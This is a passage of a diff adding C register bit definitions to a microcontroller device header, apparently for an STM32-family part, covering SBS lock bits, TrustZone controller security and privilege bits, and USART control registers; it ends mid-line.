+#define SBS_CNSLCKR_LOCKNSMPU_Pos (1U) +#define SBS_CNSLCKR_LOCKNSMPU_Msk (0x1UL << SBS_CNSLCKR_LOCKNSMPU_Pos) /*!< 0x00000002 */ +#define SBS_CNSLCKR_LOCKNSMPU SBS_CNSLCKR_LOCKNSMPU_Msk /*!< Disable Non-Secure MPU registers writes by SW or debug agent */ + +/****************** Bit definition for SBS_ECCNMIR register ***************/ +#define SBS_ECCNMIR_ECCNMI_MASK_EN_Pos (0U) +#define SBS_ECCNMIR_ECCNMI_MASK_EN_Msk (0x1UL << SBS_ECCNMIR_ECCNMI_MASK_EN_Pos) /*!< 0x00000001 */ +#define SBS_ECCNMIR_ECCNMI_MASK_EN SBS_ECCNMIR_ECCNMI_MASK_EN_Msk /*!< Disable NMI in case of double ECC error in flash interface */ + +/*****************************************************************************/ +/* */ +/* Global TrustZone Control */ +/* */ +/*****************************************************************************/ + +/******************* Bits definition for GTZC_TZSC_MPCWM_CFGR register **********/ +#define GTZC_TZSC_MPCWM_CFGR_SREN_Pos (0U) +#define GTZC_TZSC_MPCWM_CFGR_SREN_Msk (0x1UL << GTZC_TZSC_MPCWM_CFGR_SREN_Pos) +#define GTZC_TZSC_MPCWM_CFGR_SREN GTZC_TZSC_MPCWM_CFGR_SREN_Msk +#define GTZC_TZSC_MPCWM_CFGR_SRLOCK_Pos (1U) +#define GTZC_TZSC_MPCWM_CFGR_SRLOCK_Msk (0x1UL << GTZC_TZSC_MPCWM_CFGR_SRLOCK_Pos) +#define GTZC_TZSC_MPCWM_CFGR_SRLOCK GTZC_TZSC_MPCWM_CFGR_SRLOCK_Msk +#define GTZC_TZSC_MPCWM_CFGR_PRIV_Pos (9U) +#define GTZC_TZSC_MPCWM_CFGR_PRIV_Msk (0x1UL << GTZC_TZSC_MPCWM_CFGR_PRIV_Pos) +#define GTZC_TZSC_MPCWM_CFGR_PRIV GTZC_TZSC_MPCWM_CFGR_PRIV_Msk + +/******************* Bits definition for GTZC_TZSC_MPCWMR register **************/ +#define GTZC_TZSC_MPCWMR_SUBZ_START_Pos (0U) +#define GTZC_TZSC_MPCWMR_SUBZ_START_Msk (0x7FFUL << GTZC_TZSC_MPCWMR_SUBZ_START_Pos) +#define GTZC_TZSC_MPCWMR_SUBZ_START GTZC_TZSC_MPCWMR_SUBZ_START_Msk +#define GTZC_TZSC_MPCWMR_SUBZ_LENGTH_Pos (16U) +#define GTZC_TZSC_MPCWMR_SUBZ_LENGTH_Msk (0xFFFUL << GTZC_TZSC_MPCWMR_SUBZ_LENGTH_Pos) +#define GTZC_TZSC_MPCWMR_SUBZ_LENGTH GTZC_TZSC_MPCWMR_SUBZ_LENGTH_Msk + +/******* Bits definition for TZSC _SECCFGRx/_PRIVCFGRx registers *****/ + +/*************** Bits definition for register x=1 (TZSC1) *************/ +#define GTZC_CFGR1_TIM2_Pos (0U) +#define GTZC_CFGR1_TIM2_Msk (0x01UL << GTZC_CFGR1_TIM2_Pos) +#define GTZC_CFGR1_TIM3_Pos (1U) +#define GTZC_CFGR1_TIM3_Msk (0x01UL << GTZC_CFGR1_TIM3_Pos) +#define GTZC_CFGR1_TIM6_Pos (4U) +#define GTZC_CFGR1_TIM6_Msk (0x01UL << GTZC_CFGR1_TIM6_Pos) +#define GTZC_CFGR1_TIM7_Pos (5U) +#define GTZC_CFGR1_TIM7_Msk (0x01UL << GTZC_CFGR1_TIM7_Pos) +#define GTZC_CFGR1_WWDG_Pos (9U) +#define GTZC_CFGR1_WWDG_Msk (0x01UL << GTZC_CFGR1_WWDG_Pos) +#define GTZC_CFGR1_IWDG_Pos (10U) +#define GTZC_CFGR1_IWDG_Msk (0x01UL << GTZC_CFGR1_IWDG_Pos) +#define GTZC_CFGR1_SPI2_Pos (11U) +#define GTZC_CFGR1_SPI2_Msk (0x01UL << GTZC_CFGR1_SPI2_Pos) +#define GTZC_CFGR1_SPI3_Pos (12U) +#define GTZC_CFGR1_SPI3_Msk (0x01UL << GTZC_CFGR1_SPI3_Pos) +#define GTZC_CFGR1_USART2_Pos (13U) +#define GTZC_CFGR1_USART2_Msk (0x01UL << GTZC_CFGR1_USART2_Pos) +#define GTZC_CFGR1_USART3_Pos (14U) +#define GTZC_CFGR1_USART3_Msk (0x01UL << GTZC_CFGR1_USART3_Pos) +#define GTZC_CFGR1_I2C1_Pos (17U) +#define GTZC_CFGR1_I2C1_Msk (0x01UL << GTZC_CFGR1_I2C1_Pos) +#define GTZC_CFGR1_I2C2_Pos (18U) +#define GTZC_CFGR1_I2C2_Msk (0x01UL << GTZC_CFGR1_I2C2_Pos) +#define GTZC_CFGR1_I3C1_Pos (19U) +#define GTZC_CFGR1_I3C1_Msk (0x01UL << GTZC_CFGR1_I3C1_Pos) +#define GTZC_CFGR1_CRS_Pos (20U) +#define GTZC_CFGR1_CRS_Msk (0x01UL << GTZC_CFGR1_CRS_Pos) +#define GTZC_CFGR1_DAC1_Pos (25U) +#define GTZC_CFGR1_DAC1_Msk (0x01UL << GTZC_CFGR1_DAC1_Pos) +#define GTZC_CFGR1_DTS_Pos (30U) +#define GTZC_CFGR1_DTS_Msk (0x01UL << GTZC_CFGR1_DTS_Pos) +#define GTZC_CFGR1_LPTIM2_Pos (31U) +#define GTZC_CFGR1_LPTIM2_Msk (0x01UL << GTZC_CFGR1_LPTIM2_Pos) + +/*************** Bits definition for register x=2 (TZSC1) *************/ +#define GTZC_CFGR2_FDCAN1_Pos (0U) +#define GTZC_CFGR2_FDCAN1_Msk (0x01UL << GTZC_CFGR2_FDCAN1_Pos) +#define GTZC_CFGR2_OPAMP_Pos (3U) +#define GTZC_CFGR2_OPAMP_Msk (0x01UL << GTZC_CFGR2_OPAMP_Pos) +#define GTZC_CFGR2_COMP_Pos (4U) +#define GTZC_CFGR2_COMP_Msk (0x01UL << GTZC_CFGR2_COMP_Pos) +#define GTZC_CFGR2_TIM1_Pos (8U) +#define GTZC_CFGR2_TIM1_Msk (0x01UL << GTZC_CFGR2_TIM1_Pos) +#define GTZC_CFGR2_SPI1_Pos (9U) +#define GTZC_CFGR2_SPI1_Msk (0x01UL << GTZC_CFGR2_SPI1_Pos) +#define GTZC_CFGR2_USART1_Pos (11U) +#define GTZC_CFGR2_USART1_Msk (0x01UL << GTZC_CFGR2_USART1_Pos) +#define GTZC_CFGR2_USB_Pos (19U) +#define GTZC_CFGR2_USB_Msk (0x01UL << GTZC_CFGR2_USB_Pos) +#define GTZC_CFGR2_LPUART1_Pos (25U) +#define GTZC_CFGR2_LPUART1_Msk (0x01UL << GTZC_CFGR2_LPUART1_Pos) +#define GTZC_CFGR2_LPTIM1_Pos (28U) +#define GTZC_CFGR2_LPTIM1_Msk (0x01UL << GTZC_CFGR2_LPTIM1_Pos) + +/*************** Bits definition for register x=3 (TZSC1) *************/ +#define GTZC_CFGR3_I3C2_Pos (2U) +#define GTZC_CFGR3_I3C2_Msk (0x01UL << GTZC_CFGR3_I3C2_Pos) +#define GTZC_CFGR3_CRC_Pos (8U) +#define GTZC_CFGR3_CRC_Msk (0x01UL << GTZC_CFGR3_CRC_Pos) +#define GTZC_CFGR3_ICACHE_REG_Pos (12U) +#define GTZC_CFGR3_ICACHE_REG_Msk (0x01UL << GTZC_CFGR3_ICACHE_REG_Pos) +#define GTZC_CFGR3_ADC_Pos (14U) +#define GTZC_CFGR3_ADC_Msk (0x01UL << GTZC_CFGR3_ADC_Pos) +#define GTZC_CFGR3_HASH_Pos (17U) +#define GTZC_CFGR3_HASH_Msk (0x01UL << GTZC_CFGR3_HASH_Pos) +#define GTZC_CFGR3_RNG_Pos (18U) +#define GTZC_CFGR3_RNG_Msk (0x01UL << GTZC_CFGR3_RNG_Pos) +#define GTZC_CFGR3_RAMCFG_Pos (26U) +#define GTZC_CFGR3_RAMCFG_Msk (0x01UL << GTZC_CFGR3_RAMCFG_Pos) + +/*************** Bits definition for register x=4 (TZSC1) *************/ +#define GTZC_CFGR4_GPDMA1_Pos (0U) +#define GTZC_CFGR4_GPDMA1_Msk (0x01UL << GTZC_CFGR4_GPDMA1_Pos) +#define GTZC_CFGR4_GPDMA2_Pos (1U) +#define GTZC_CFGR4_GPDMA2_Msk (0x01UL << GTZC_CFGR4_GPDMA2_Pos) +#define GTZC_CFGR4_FLASH_Pos (2U) +#define GTZC_CFGR4_FLASH_Msk (0x01UL << GTZC_CFGR4_FLASH_Pos) +#define GTZC_CFGR4_FLASH_REG_Pos (3U) +#define GTZC_CFGR4_FLASH_REG_Msk (0x01UL << GTZC_CFGR4_FLASH_REG_Pos) + +#define GTZC_CFGR4_SBS_Pos (6U) +#define GTZC_CFGR4_SBS_Msk (0x01UL << GTZC_CFGR4_SBS_Pos) +#define GTZC_CFGR4_RTC_Pos (7U) +#define GTZC_CFGR4_RTC_Msk (0x01UL << GTZC_CFGR4_RTC_Pos) +#define GTZC_CFGR4_TAMP_Pos (8U) +#define GTZC_CFGR4_TAMP_Msk (0x01UL << GTZC_CFGR4_TAMP_Pos) +#define GTZC_CFGR4_PWR_Pos (9U) +#define GTZC_CFGR4_PWR_Msk (0x01UL << GTZC_CFGR4_PWR_Pos) +#define GTZC_CFGR4_RCC_Pos (10U) +#define GTZC_CFGR4_RCC_Msk (0x01UL << GTZC_CFGR4_RCC_Pos) +#define GTZC_CFGR4_EXTI_Pos (11U) +#define GTZC_CFGR4_EXTI_Msk (0x01UL << GTZC_CFGR4_EXTI_Pos) +#define GTZC_CFGR4_TZSC_Pos (16U) +#define GTZC_CFGR4_TZSC_Msk (0x01UL << GTZC_CFGR4_TZSC_Pos) +#define GTZC_CFGR4_BKPSRAM_Pos (20U) +#define GTZC_CFGR4_BKPSRAM_Msk (0x01UL << GTZC_CFGR4_BKPSRAM_Pos) +#define GTZC_CFGR4_SRAM1_Pos (24U) +#define GTZC_CFGR4_SRAM1_Msk (0x01UL << GTZC_CFGR4_SRAM1_Pos) +#define GTZC_CFGR4_MPCBB1_REG_Pos (25U) +#define GTZC_CFGR4_MPCBB1_REG_Msk (0x01UL << GTZC_CFGR4_MPCBB1_REG_Pos) +#define GTZC_CFGR4_SRAM2_Pos (26U) +#define GTZC_CFGR4_SRAM2_Msk (0x01UL << GTZC_CFGR4_SRAM2_Pos) +#define GTZC_CFGR4_MPCBB2_REG_Pos (27U) +#define GTZC_CFGR4_MPCBB2_REG_Msk (0x01UL << GTZC_CFGR4_MPCBB2_REG_Pos) + + + +/******************* Bits definition for GTZC_TZSC_PRIVCFGR1 register ***************/ +#define GTZC_TZSC1_PRIVCFGR1_TIM2_Pos GTZC_CFGR1_TIM2_Pos +#define GTZC_TZSC1_PRIVCFGR1_TIM2_Msk GTZC_CFGR1_TIM2_Msk +#define GTZC_TZSC1_PRIVCFGR1_TIM3_Pos GTZC_CFGR1_TIM3_Pos +#define GTZC_TZSC1_PRIVCFGR1_TIM3_Msk GTZC_CFGR1_TIM3_Msk +#define GTZC_TZSC1_PRIVCFGR1_TIM6_Pos GTZC_CFGR1_TIM6_Pos +#define GTZC_TZSC1_PRIVCFGR1_TIM6_Msk GTZC_CFGR1_TIM6_Msk +#define GTZC_TZSC1_PRIVCFGR1_TIM7_Pos GTZC_CFGR1_TIM7_Pos +#define GTZC_TZSC1_PRIVCFGR1_TIM7_Msk GTZC_CFGR1_TIM7_Msk +#define GTZC_TZSC1_PRIVCFGR1_WWDG_Pos GTZC_CFGR1_WWDG_Pos +#define GTZC_TZSC1_PRIVCFGR1_WWDG_Msk GTZC_CFGR1_WWDG_Msk +#define GTZC_TZSC1_PRIVCFGR1_IWDG_Pos GTZC_CFGR1_IWDG_Pos +#define GTZC_TZSC1_PRIVCFGR1_IWDG_Msk GTZC_CFGR1_IWDG_Msk +#define GTZC_TZSC1_PRIVCFGR1_SPI2_Pos GTZC_CFGR1_SPI2_Pos +#define GTZC_TZSC1_PRIVCFGR1_SPI2_Msk GTZC_CFGR1_SPI2_Msk +#define GTZC_TZSC1_PRIVCFGR1_SPI3_Pos GTZC_CFGR1_SPI3_Pos +#define GTZC_TZSC1_PRIVCFGR1_SPI3_Msk GTZC_CFGR1_SPI3_Msk +#define GTZC_TZSC1_PRIVCFGR1_I2C1_Pos GTZC_CFGR1_I2C1_Pos +#define GTZC_TZSC1_PRIVCFGR1_I2C1_Msk GTZC_CFGR1_I2C1_Msk +#define GTZC_TZSC1_PRIVCFGR1_I2C2_Pos GTZC_CFGR1_I2C2_Pos +#define GTZC_TZSC1_PRIVCFGR1_I2C2_Msk GTZC_CFGR1_I2C2_Msk +#define GTZC_TZSC1_PRIVCFGR1_I3C1_Pos GTZC_CFGR1_I3C1_Pos +#define GTZC_TZSC1_PRIVCFGR1_I3C1_Msk GTZC_CFGR1_I3C1_Msk +#define GTZC_TZSC1_PRIVCFGR1_CRS_Pos GTZC_CFGR1_CRS_Pos +#define GTZC_TZSC1_PRIVCFGR1_CRS_Msk GTZC_CFGR1_CRS_Msk +#define GTZC_TZSC1_PRIVCFGR1_DAC1_Pos GTZC_CFGR1_DAC1_Pos +#define GTZC_TZSC1_PRIVCFGR1_DAC1_Msk GTZC_CFGR1_DAC1_Msk +#define GTZC_TZSC1_PRIVCFGR1_DTS_Pos GTZC_CFGR1_DTS_Pos +#define GTZC_TZSC1_PRIVCFGR1_DTS_Msk GTZC_CFGR1_DTS_Msk +#define GTZC_TZSC1_PRIVCFGR1_LPTIM2_Pos GTZC_CFGR1_LPTIM2_Pos +#define GTZC_TZSC1_PRIVCFGR1_LPTIM2_Msk GTZC_CFGR1_LPTIM2_Msk + +/******************* Bits definition for GTZC_TZSC_PRIVCFGR2 register ***************/ +#define GTZC_TZSC1_PRIVCFGR2_FDCAN1_Pos GTZC_CFGR2_FDCAN1_Pos +#define GTZC_TZSC1_PRIVCFGR2_FDCAN1_Msk GTZC_CFGR2_FDCAN1_Msk +#define GTZC_TZSC1_PRIVCFGR2_TIM1_Pos GTZC_CFGR2_TIM1_Pos +#define GTZC_TZSC1_PRIVCFGR2_TIM1_Msk GTZC_CFGR2_TIM1_Msk +#define GTZC_TZSC1_PRIVCFGR2_SPI1_Pos GTZC_CFGR2_SPI1_Pos +#define GTZC_TZSC1_PRIVCFGR2_SPI1_Msk GTZC_CFGR2_SPI1_Msk +#define GTZC_TZSC1_PRIVCFGR2_USART1_Pos GTZC_CFGR2_USART1_Pos +#define GTZC_TZSC1_PRIVCFGR2_USART1_Msk GTZC_CFGR2_USART1_Msk +#define GTZC_TZSC1_PRIVCFGR2_USB_Pos GTZC_CFGR2_USB_Pos +#define GTZC_TZSC1_PRIVCFGR2_USB_Msk GTZC_CFGR2_USB_Msk +#define GTZC_TZSC1_PRIVCFGR2_LPUART1_Pos GTZC_CFGR2_LPUART1_Pos +#define GTZC_TZSC1_PRIVCFGR2_LPUART1_Msk GTZC_CFGR2_LPUART1_Msk +#define GTZC_TZSC1_PRIVCFGR2_LPTIM1_Pos GTZC_CFGR2_LPTIM1_Pos +#define GTZC_TZSC1_PRIVCFGR2_LPTIM1_Msk GTZC_CFGR2_LPTIM1_Msk + +/******************* Bits definition for GTZC_TZSC_PRIVCFGR3 register ***************/ +#define GTZC_TZSC1_PRIVCFGR3_I3C2_Pos GTZC_CFGR3_I3C2_Pos +#define GTZC_TZSC1_PRIVCFGR3_I3C2_Msk GTZC_CFGR3_I3C2_Msk +#define GTZC_TZSC1_PRIVCFGR3_CRC_Pos GTZC_CFGR3_CRC_Pos +#define GTZC_TZSC1_PRIVCFGR3_CRC_Msk GTZC_CFGR3_CRC_Msk +#define GTZC_TZSC1_PRIVCFGR3_ICACHE_REG_Pos GTZC_CFGR3_ICACHE_REG_Pos +#define GTZC_TZSC1_PRIVCFGR3_ICACHE_REG_Msk GTZC_CFGR3_ICACHE_REG_Msk +#define GTZC_TZSC1_PRIVCFGR3_ADC_Pos GTZC_CFGR3_ADC_Pos +#define GTZC_TZSC1_PRIVCFGR3_ADC_Msk GTZC_CFGR3_ADC_Msk +#define GTZC_TZSC1_PRIVCFGR3_HASH_Pos GTZC_CFGR3_HASH_Pos +#define GTZC_TZSC1_PRIVCFGR3_HASH_Msk GTZC_CFGR3_HASH_Msk +#define GTZC_TZSC1_PRIVCFGR3_RNG_Pos GTZC_CFGR3_RNG_Pos +#define GTZC_TZSC1_PRIVCFGR3_RNG_Msk GTZC_CFGR3_RNG_Msk +#define GTZC_TZSC1_PRIVCFGR3_RAMCFG_Pos GTZC_CFGR3_RAMCFG_Pos +#define GTZC_TZSC1_PRIVCFGR3_RAMCFG_Msk GTZC_CFGR3_RAMCFG_Msk + + + + + +/******************************************************************************/ +/* */ +/* Universal Synchronous Asynchronous Receiver Transmitter (USART) */ +/* */ +/******************************************************************************/ +#define USART_DMAREQUESTS_SW_WA +/****************** Bit definition for USART_CR1 register *******************/ +#define USART_CR1_UE_Pos (0U) +#define USART_CR1_UE_Msk (0x1UL << USART_CR1_UE_Pos) /*!< 0x00000001 */ +#define USART_CR1_UE USART_CR1_UE_Msk /*!< USART Enable */ +#define USART_CR1_UESM_Pos (1U) +#define USART_CR1_UESM_Msk (0x1UL << USART_CR1_UESM_Pos) /*!< 0x00000002 */ +#define USART_CR1_UESM USART_CR1_UESM_Msk /*!< USART Enable in STOP Mode */ +#define USART_CR1_RE_Pos (2U) +#define USART_CR1_RE_Msk (0x1UL << USART_CR1_RE_Pos) /*!< 0x00000004 */ +#define USART_CR1_RE USART_CR1_RE_Msk /*!< Receiver Enable */ +#define USART_CR1_TE_Pos (3U) +#define USART_CR1_TE_Msk (0x1UL << USART_CR1_TE_Pos) /*!< 0x00000008 */ +#define USART_CR1_TE USART_CR1_TE_Msk /*!< Transmitter Enable */ +#define USART_CR1_IDLEIE_Pos (4U) +#define USART_CR1_IDLEIE_Msk (0x1UL << USART_CR1_IDLEIE_Pos) /*!< 0x00000010 */ +#define USART_CR1_IDLEIE USART_CR1_IDLEIE_Msk /*!< IDLE Interrupt Enable */ +#define USART_CR1_RXNEIE_Pos (5U) +#define USART_CR1_RXNEIE_Msk (0x1UL << USART_CR1_RXNEIE_Pos) /*!< 0x00000020 */ +#define USART_CR1_RXNEIE USART_CR1_RXNEIE_Msk /*!< RXNE Interrupt Enable */ +#define USART_CR1_RXNEIE_RXFNEIE_Pos USART_CR1_RXNEIE_Pos +#define USART_CR1_RXNEIE_RXFNEIE_Msk USART_CR1_RXNEIE_Msk /*!< 0x00000020 */ +#define USART_CR1_RXNEIE_RXFNEIE USART_CR1_RXNEIE_Msk /*!< RXNE and RX FIFO Not Empty Interrupt Enable */ +#define USART_CR1_TCIE_Pos (6U) +#define USART_CR1_TCIE_Msk (0x1UL << USART_CR1_TCIE_Pos) /*!< 0x00000040 */ +#define USART_CR1_TCIE USART_CR1_TCIE_Msk /*!< Transmission Complete Interrupt Enable */ +#define USART_CR1_TXEIE_Pos (7U) +#define USART_CR1_TXEIE_Msk (0x1UL << USART_CR1_TXEIE_Pos) /*!< 0x00000080 */ +#define USART_CR1_TXEIE USART_CR1_TXEIE_Msk /*!< TXE Interrupt Enable */ +#define USART_CR1_TXEIE_TXFNFIE_Pos (7U) +#define USART_CR1_TXEIE_TXFNFIE_Msk (0x1UL << USART_CR1_TXEIE_Pos) /*!< 0x00000080 */ +#define USART_CR1_TXEIE_TXFNFIE USART_CR1_TXEIE /*!< TXE and TX FIFO Not Full Interrupt Enable */ +#define USART_CR1_PEIE_Pos (8U) +#define USART_CR1_PEIE_Msk (0x1UL << USART_CR1_PEIE_Pos) /*!< 0x00000100 */ +#define USART_CR1_PEIE USART_CR1_PEIE_Msk /*!< PE Interrupt Enable */ +#define USART_CR1_PS_Pos (9U) +#define USART_CR1_PS_Msk (0x1UL << USART_CR1_PS_Pos) /*!< 0x00000200 */ +#define USART_CR1_PS USART_CR1_PS_Msk /*!< Parity Selection */ +#define USART_CR1_PCE_Pos (10U) +#define USART_CR1_PCE_Msk (0x1UL << USART_CR1_PCE_Pos) /*!< 0x00000400 */ +#define USART_CR1_PCE USART_CR1_PCE_Msk /*!< Parity Control Enable */ +#define USART_CR1_WAKE_Pos (11U) +#define USART_CR1_WAKE_Msk (0x1UL << USART_CR1_WAKE_Pos) /*!< 0x00000800 */ +#define USART_CR1_WAKE USART_CR1_WAKE_Msk /*!< Receiver Wakeup method */ +#define USART_CR1_M_Pos (12U) +#define USART_CR1_M_Msk (0x10001UL << USART_CR1_M_Pos) /*!< 0x10001000 */ +#define USART_CR1_M USART_CR1_M_Msk /*!< Word length */ +#define USART_CR1_M0_Pos (12U) +#define USART_CR1_M0_Msk (0x1UL << USART_CR1_M0_Pos) /*!< 0x00001000 */ +#define USART_CR1_M0 USART_CR1_M0_Msk /*!< Word length - Bit 0 */ +#define USART_CR1_MME_Pos (13U) +#define USART_CR1_MME_Msk (0x1UL << USART_CR1_MME_Pos) /*!< 0x00002000 */ +#define USART_CR1_MME USART_CR1_MME_Msk /*!< Mute Mode Enable */ +#define USART_CR1_CMIE_Pos (14U) +#define USART_CR1_CMIE_Msk (0x1UL << USART_CR1_CMIE_Pos) /*!< 0x00004000 */ +#define USART_CR1_CMIE USART_CR1_CMIE_Msk /*!< Character match interrupt enable */ +#define USART_CR1_OVER8_Pos (15U) +#define USART_CR1_OVER8_Msk (0x1UL << USART_CR1_OVER8_Pos) /*!< 0x00008000 */ +#define USART_CR1_OVER8 USART_CR1_OVER8_Msk /*!< Oversampling by 8-bit or 16-bit mode */ +#define USART_CR1_DEDT_Pos (16U) +#define USART_CR1_DEDT_Msk (0x1FUL << USART_CR1_DEDT_Pos) /*!< 0x001F0000 */ +#define USART_CR1_DEDT USART_CR1_DEDT_Msk /*!< DEDT[4:0] bits (Driver Enable Deassertion Time) */ +#define USART_CR1_DEDT_0 (0x01UL << USART_CR1_DEDT_Pos) /*!< 0x00010000 */ +#define USART_CR1_DEDT_1 (0x02UL << USART_CR1_DEDT_Pos) /*!< 0x00020000 */ +#define USART_CR1_DEDT_2 (0x04UL << USART_CR1_DEDT_Pos) /*!< 0x00040000 */ +#define USART_CR1_DEDT_3 (0x08UL << USART_CR1_DEDT_Pos) /*!< 0x00080000 */ +#define USART_CR1_DEDT_4 (0x10UL << USART_CR1_DEDT_Pos) /*!< 0x00100000 */ +#define USART_CR1_DEAT_Pos (21U) +#define USART_CR1_DEAT_Msk (0x1FUL << USART_CR1_DEAT_Pos) /*!< 0x03E00000 */ +#define USART_CR1_DEAT USART_CR1_DEAT_Msk /*!< DEAT[4:0] bits (Driver Enable Assertion Time) */ +#define USART_CR1_DEAT_0 (0x01UL << USART_CR1_DEAT_Pos) /*!< 0x00200000 */ +#define USART_CR1_DEAT_1 (0x02UL << USART_CR1_DEAT_Pos) /*!< 0x00400000 */ +#define USART_CR1_DEAT_2 (0x04UL << USART_CR1_DEAT_Pos) /*!< 0x00800000 */ +#define USART_CR1_DEAT_3 (0x08UL << USART_CR1_DEAT_Pos) /*!< 0x01000000 */ +#define USART_CR1_DEAT_4 (0x10UL << USART_CR1_DEAT_Pos) /*!< 0x02000000 */ +#define USART_CR1_RTOIE_Pos (26U) +#define USART_CR1_RTOIE_Msk (0x1UL << USART_CR1_RTOIE_Pos) /*!< 0x04000000 */ +#define USART_CR1_RTOIE USART_CR1_RTOIE_Msk /*!< Receive Time Out interrupt enable */ +#define USART_CR1_EOBIE_Pos (27U) +#define USART_CR1_EOBIE_Msk (0x1UL << USART_CR1_EOBIE_Pos) /*!< 0x08000000 */ +#define USART_CR1_EOBIE USART_CR1_EOBIE_Msk /*!< End of Block interrupt enable */ +#define USART_CR1_M1_Pos (28U) +#define USART_CR1_M1_Msk (0x1UL << USART_CR1_M1_Pos) /*!< 0x10000000 */ +#define USART_CR1_M1 USART_CR1_M1_Msk /*!< Word length - Bit 1 */ +#define USART_CR1_FIFOEN_Pos (29U) +#define USART_CR1_FIFOEN_Msk (0x1UL << USART_CR1_FIFOEN_Pos) /*!< 0x20000000 */ +#define USART_CR1_FIFOEN USART_CR1_FIFOEN_Msk /*!< FIFO mode enable */ +#define USART_CR1_TXFEIE_Pos (30U) +#define USART_CR1_TXFEIE_Msk (0x1UL << USART_CR1_TXFEIE_Pos) /*!< 0x40000000 */ +#define USART_CR1_TXFEIE USART_CR1_TXFEIE_Msk /*!< TXFIFO empty interrupt enable */ +#define USART_CR1_RXFFIE_Pos (31U) +#define USART_CR1_RXFFIE_Msk (0x1UL << USART_CR1_RXFFIE_Pos) /*!< 0x80000000 */ +#define USART_CR1_RXFFIE USART_CR1_RXFFIE_Msk /*!< RXFIFO Full interrupt enable */ + +/****************** Bit definition for USART_CR2 register *******************/ +#define USART_CR2_SLVEN_Pos (0U) +#define USART_CR2_SLVEN_Msk (0x1UL << USART_CR2_SLVEN_Pos) /*!< 0x00000001 */ +#define USART_CR2_SLVEN USART_CR2_SLVEN_Msk /*!< Synchronous Slave mode enable */ +#define USART_CR2_DIS_NSS_Pos (3U) +#define USART_CR2_DIS_NSS_Msk (0x1UL << USART_CR2_DIS_NSS_Pos) /*!< 0x00000008 */ +#define USART_CR2_DIS_NSS USART_CR2_DIS_NSS_Msk /*!< Slave Select (NSS) pin management */ +#define USART_CR2_ADDM7_Pos (4U) +#define USART_CR2_ADDM7_Msk (0x1UL << USART_CR2_ADDM7_Pos) /*!< 0x00000010 */ +#define USART_CR2_ADDM7 USART_CR2_ADDM7_Msk /*!< 7-bit or 4-bit Address Detection */ +#define USART_CR2_LBDL_Pos (5U) +#define USART_CR2_LBDL_Msk (0x1UL << USART_CR2_LBDL_Pos) /*!< 0x00000020 */ +#define USART_CR2_LBDL USART_CR2_LBDL_Msk /*!< LIN Break Detection Length */ +#define USART_CR2_LBDIE_Pos (6U) +#define USART_CR2_LBDIE_Msk (0x1UL << USART_CR2_LBDIE_Pos) /*!< 0x00000040 */ +#define USART_CR2_LBDIE USART_CR2_LBDIE_Msk /*!< LIN Break Detection Interrupt Enable */ +#define USART_CR2_LBCL_Pos (8U) +#define USART_CR2_LBCL_Msk (0x1UL << USART_CR2_LBCL_Pos) /*!< 0x00000100 */ +#define USART_CR2_LBCL USART_CR2_LBCL_Msk /*!< Last Bit Clock pulse */ +#define USART_CR2_CPHA_Pos (9U) +#define USART_CR2_CPHA_Msk (0x1UL << USART_CR2_CPHA_Pos) /*!< 0x00000200 */ +#define USART_CR2_CPHA USART_CR2_CPHA_Msk /*!< Clock Phase */ +#define USART_CR2_CPOL_Pos (10U) +#define USART_CR2_CPOL_Msk (0x1UL << USART_CR2_CPOL_Pos) /*!< 0x00000400 */ +#define USART_CR2_CPOL USART_CR2_CPOL_Msk /*!< Clock Polarity */ +#define USART_CR2_CLKEN_Pos (11U) +#define USART_CR2_CLKEN_Msk (0x1UL << USART_CR2_CLKEN_Pos) /*!< 0x00000800 */ +#define USART_CR2_CLKEN USART_CR2_CLKEN_Msk /*!< Clock Enable */ +#define USART_CR2_STOP_Pos (12U) +#define USART_CR2_STOP_Msk (0x3UL << USART_CR2_STOP_Pos) /*!< 0x00003000 */ +#define USART_CR2_STOP USART_CR2_STOP_Msk /*!< STOP[1:0] bits (STOP bits) */ +#define USART_CR2_STOP_0 (0x1UL << USART_CR2_STOP_Pos) /*!< 0x00001000 */ +#define USART_CR2_STOP_1 (0x2UL << USART_CR2_STOP_Pos) /*!< 0x00002000 */ +#define USART_CR2_LINEN_Pos (14U) +#define USART_CR2_LINEN_Msk (0x1UL << USART_CR2_LINEN_Pos) /*!< 0x00004000 */ +#define USART_CR2_LINEN USART_CR2_LINEN_Msk /*!< LIN mode enable */ +#define USART_CR2_SWAP_Pos (15U) +#define USART_CR2_SWAP_Msk (0x1UL << USART_CR2_SWAP_Pos) /*!< 0x00008000 */ +#define USART_CR2_SWAP USART_CR2_SWAP_Msk /*!< SWAP TX/RX pins */ +#define USART_CR2_RXINV_Pos (16U) +#define USART_CR2_RXINV_Msk (0x1UL << USART_CR2_RXINV_Pos) /*!< 0x00010000 */ +#define USART_CR2_RXINV USART_CR2_RXINV_Msk /*!< RX pin active level inversion */ +#define USART_CR2_TXINV_Pos (17U) +#define USART_CR2_TXINV_Msk (0x1UL << USART_CR2_TXINV_Pos) /*!< 0x00020000 */ +#define USART_CR2_TXINV USART_CR2_TXINV_Msk /*!< TX pin active level inversion */ +#define USART_CR2_DATAINV_Pos (18U) +#define USART_CR2_DATAINV_Msk (0x1UL << USART_CR2_DATAINV_Pos) /*!< 0x00040000 */ +#define USART_CR2_DATAINV USART_CR2_DATAINV_Msk /*!< Binary data inversion */ +#define USART_CR2_MSBFIRST_Pos (19U) +#define USART_CR2_MSBFIRST_Msk (0x1UL << USART_CR2_MSBFIRST_Pos) /*!< 0x00080000 */ +#define USART_CR2_MSBFIRST USART_CR2_MSBFIRST_Msk /*!< Most Significant Bit First */ +#define USART_CR2_ABREN_Pos (20U) +#define USART_CR2_ABREN_Msk (0x1UL << USART_CR2_ABREN_Pos) /*!< 0x00100000 */ +#define USART_CR2_ABREN USART_CR2_ABREN_Msk /*!< Auto Baud-Rate Enable*/ +#define USART_CR2_ABRMODE_Pos (21U) +#define USART_CR2_ABRMODE_Msk (0x3UL << USART_CR2_ABRMODE_Pos) /*!< 0x00600000 */ +#define USART_CR2_ABRMODE USART_CR2_ABRMODE_Msk /*!< ABRMOD[1:0] bits (Auto Baud-Rate Mode) */ +#define USART_CR2_ABRMODE_0 (0x1UL << USART_CR2_ABRMODE_Pos) /*!< 0x00200000 */ +#define USART_CR2_ABRMODE_1 (0x2UL << USART_CR2_ABRMODE_Pos) /*!< 0x00400000 */ +#define USART_CR2_RTOEN_Pos (23U) +#define USART_CR2_RTOEN_Msk (0x1UL << USART_CR2_RTOEN_Pos) /*!< 0x00800000 */ +#define USART_CR2_RTOEN USART_CR2_RTOEN_Msk /*!< Receiver Time-Out enable */ +#define 